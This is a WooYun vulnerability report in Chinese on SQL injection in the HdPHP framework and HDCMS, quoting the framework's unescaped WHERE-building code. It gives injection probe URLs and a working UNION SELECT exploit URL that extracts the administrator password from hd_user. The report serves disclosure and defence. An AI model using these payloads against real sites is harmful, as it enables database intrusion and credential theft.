当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094097

漏洞标题:Hdphp框架 sql注入漏洞(hdcms,官网演示)

相关厂商:hdphp.com

漏洞作者: JJ Fly

提交时间:2015-01-30 16:01

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-30: 细节已通知厂商并且等待厂商处理中
2015-02-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-31: 细节向核心白帽子及相关领域专家公开
2015-04-10: 细节向普通白帽子公开
2015-04-20: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

前两天看后盾网的视频教程,突然发现了对hdphp的介绍,便尝试了一下。

详细说明:

下面基于sql注入挑几处重点的部分来说说
首先我们需要看下hdphp中获取参数的函数

1.png


代码如下

/**
* 获取与设置请求参数
* @param $var 参数如 Q("cid) Q("get.cid") Q("get.")
* @param null $default 默认值 当变量不存在时的值
* @param null $filter 过滤函数
* @return array|null
*/
function Q($var, $default = null, $filter = null)
{
//拆分,支持get.id 或 id
$var = explode(".", $var);
if (count($var) == 1) {
array_unshift($var, 'request');
}
$var[0] = strtolower($var[0]);
//获得数据并执行相应的安全处理
switch (strtolower($var[0])) {
case 'get' :
$data = &$_GET;
break;
case 'post' :
$data = &$_POST;
break;
case 'request' :
$data = &$_REQUEST;
break;
case 'files' :
$data = &$_FILES;
break;
case 'session' :
$data = &$_SESSION;
break;
case 'cookie' :
$data = &$_COOKIE;
break;
case 'server' :
$data = &$_SERVER;
break;
case 'globals' :
$data = &$GLOBALS;
break;
default :
throw_exception($var[0] . 'Q方法参数错误');
}
//没有执行参数如q("post.")时返回所有数据
if (empty($var[1])) {
return $data;
//如果存在数据如$this->_get("page"),$_GET中存在page数据
} else if (isset($data[$var[1]])) {
//要获得参数如$this->_get("page")中的page
$value = $data[$var[1]];
//对参数进行过滤的函数
$funcArr = is_null($filter) ? C("FILTER_FUNCTION") : $filter;
//参数过滤函数
if (is_string($funcArr) && !empty($funcArr)) {
$funcArr = explode(",", $funcArr);
}
//是否存在过滤函数
if (!empty($funcArr) && is_array($funcArr)) {
//对数据进行过滤处理
foreach ($funcArr as $func) {
if (!function_exists($func))
continue;
$value = is_array($value) ? array_map($func, $value) : $func($value);
}
$data[$var[1]] = $value;
return $value;
}
return $value;
} else {
$data[$var[1]] = $default;
return $default;
}
}


也就是我们可以通过
$id=Q('uid');
来调取请求中的数字,字符串或者数组 并进行赋值。
如果我们通过上面的方式来获取uid,那么的话会从$_REQUEST中来进行获取。
而且没有对请求的数据进行过滤。
通过上面的介绍,我们可以想到几个利用点。
字符型 这样的话 我们需要添加%27 如果开启gpc会被注释
数字型 这种方式 有的时候会这样写代码Q('uid',0,'intval')
数组型 这个是重点,因为intva和gpc我们都无法绕过,可以在当程序员想获取数字的时候,变量数组key中来填充自己的恶意代码。
了解了获取的函数,我们还需要了解一下sql语句执行的函数。
其主要通过Hdphp/lib/driver/db/db.class.php这个里面的文件来进行执行。
我们需要重点看下where函数。

/**
* SQL查询条件
* @param mixed $opt 链式操作中的WHERE参数
* @return string
*/
public function where($opt)
{
$where = '';
/**
* 没有查询条件
*/
if (empty($opt)) {
return;
}
if (is_numeric($opt)) {
$where .= ' ' . $this->opt['pri'] . "=$opt ";
} else if (is_string($opt)) {
$where .= " $opt ";
} else if (is_array($opt)) {
foreach ($opt as $key => $set) {
if ($key[0] == '_') {
switch (strtolower($key)) {
case '_query':
parse_str($set, $q);
$this->where($q);
break;
case '_string':
$set = preg_match('@(AND|OR|XOR)\s*$@i', $set) ? $set : $set . ' AND ';
$where .= $set;
break;
}
} else if (is_numeric($key)) { //参数为字符串
if (!preg_match('@(AND|OR|XOR)\s*$@i', $set)) {
$set .= isset($opt['_logic']) ? " {$opt['_logic']} " : ' AND ';
}
$where .= $set;
} else if (is_string($key)) { //参数为数组
if (!is_array($set)) {
$logic = isset($opt['_logic']) ? " {$opt['_logic']} " : ' AND '; //连接方式
$where .= " $key " . "='$set' " . $logic;
} else {
$logic = isset($opt['_logic']) ? " {$opt['_logic']} " : ' AND '; //连接方式
$logic = isset($set['_logic']) ? " {$set['_logic']} " : $logic; //连接方式
//连接方式
if (is_string(end($set)) && in_array(strtoupper(end($set)), array('AND', 'OR', 'XOR'))) {
$logic = ' ' . current($set) . ' ';
}
reset($set); //数组指针回位
//如: $map['username'] = array(array('gt', 3), array('lt', 5), 'AND');
if (is_array(current($set))) {
foreach ($set as $exp) {
if (is_array($exp)) {
$t[$key] = $exp;
$this->where($t);
$this->opt['where'] .= strtoupper($logic);
}
}
} else {
$option = !is_array($set[1]) ? explode(',', $set[1]) : $set[1]; //参数
switch (strtoupper($set[0])) {
case 'IN':
$value = '';
foreach ($option as $v) {
$value .= is_numeric($v) ? $v . "," : "'" . $v . "',";
}
$value = trim($value, ',');
$where .= " $key " . " IN ($value) $logic";
break;
case 'NOTIN':
$value = '';
foreach ($option as $v) {
$value .= is_numeric($v) ? $v . "," : "'" . $v . "',";
}
$value = trim($value, ',');
$where .= " $key " . " NOT IN ($value) $logic";
break;
case 'BETWEEN':
$where .= " $key " . " BETWEEN " . $option[0] . ' AND ' . $option[1] . $logic;
break;
case 'NOTBETWEEN':
$where .= " $key " . " NOT BETWEEN " . $option[0] . ' AND ' . $option[1] . $logic;
break;
case 'LIKE':
foreach ($option as $v) {
$where .= " $key " . " LIKE '$v' " . $logic;
}
break;
case 'NOTLIKE':
foreach ($option as $v) {
$where .= " $key " . " NOT LIKE '$v'" . $logic;
}
break;
case 'EQ':
$where .= " $key " . '=' . (is_numeric($set[1]) ? $set[1] : "'{$set[1]}'") . $logic;
break;
case 'NEQ':
$where .= " $key " . '<>' . (is_numeric($set[1]) ? $set[1] : "'{$set[1]}'") . $logic;
break;
case 'GT':
$where .= " $key " . '>' . (is_numeric($set[1]) ? $set[1] : "'{$set[1]}'") . $logic;
break;
case 'EGT':
$where .= " $key " . '>=' . (is_numeric($set[1]) ? $set[1] : "'{$set[1]}'") . $logic;
break;
case 'LT':
$where .= " $key " . '<' . (is_numeric($set[1]) ? $set[1] : "'{$set[1]}'") . $logic;
break;
case 'ELT':
$where .= " $key " . '<=' . (is_numeric($set[1]) ? $set[1] : "'{$set[1]}'") . $logic;
break;
case 'EXP':
$where .= " $key " . $set[1] . $logic;
break;
}
}
}
}
}
}
if (!empty($where)) {
/**
* 删除尾部OR AND
*/
$where = preg_replace('@(OR|AND|XOR)\s*$@i', '', $where);
if (empty($this->opt['where'])) {
/**
* 第一次设置where
*/
$this->opt['where'] = " WHERE " . $where;
} else if (preg_match('@(OR|AND|XOR)\s*$@i', $this->opt['where'])) {
/**
* 有连接属性时使用连接属性
*/
$this->opt['where'] .= $where;
} else {
$this->opt['where'] .= ' AND ' . $where;
}
} else {
$this->opt['where'] = preg_replace('@(OR|AND|XOR)\s*$@i', '', $this->opt['where']);
}
}


他的主要作用就是对传递的$where进行拼接。
当我们传递数组的时候,他会将key 和 value 进行拼接。这样的话,我们就可以执行一些key中的命令,从而绕过intval 这个函数。 再就是这个函数对key 的过滤实在是不到位。绕过很简单。
用框架的根本原因就是为了快速开发
最简单的获取一个用户id信息的代码如下
$uid=Q(‘uid’,0,’intval’);
$userinfo=M(‘user’)->find($uid);
如果要是这样写的话,我们可以构造如下的sql语句进行检测注入
Index.php?uid[1 like 2 %23]=1
Index.php?uid[1 like 1 %23]=1

漏洞证明:

下面来说一个hdcms 的实例注入漏洞。
首先我们来看HDCMS\Member\Controller\SpaceController.class.php
关键代码如下

public function __init()
{
//用户名
if ($username = Q('username')) {
$uid = M('user')->where("username='$username'")->getField('uid');
go(U("index", array('uid' => $uid)));
}
$this->uid = Q('uid', 0, 'intval');
if (!M('user')->find($this->uid)) {
$this->error('会员不存在');
}
}


图片1.png


图片2.png


直接爆管理员密码exp
http://127.0.0.1/hdcms/index.php?m=Member&c=Space&a=index&uid[1%20like%202 union select 1,(select password from hd_user limit 1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23]=1


图片3.png


3.jpg

修复方案:

可以尝试全局过滤。
另外,对%27等等也进行过滤,不建议依靠gpc.

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-30 17:06 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    0.0上次我只看到了xss 怎么找到的注入

  2. 2015-01-30 19:19 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 今天播下一颗种子。)

    @只发通用型 主要是框架的问题,不过找到了一个cms的利用点。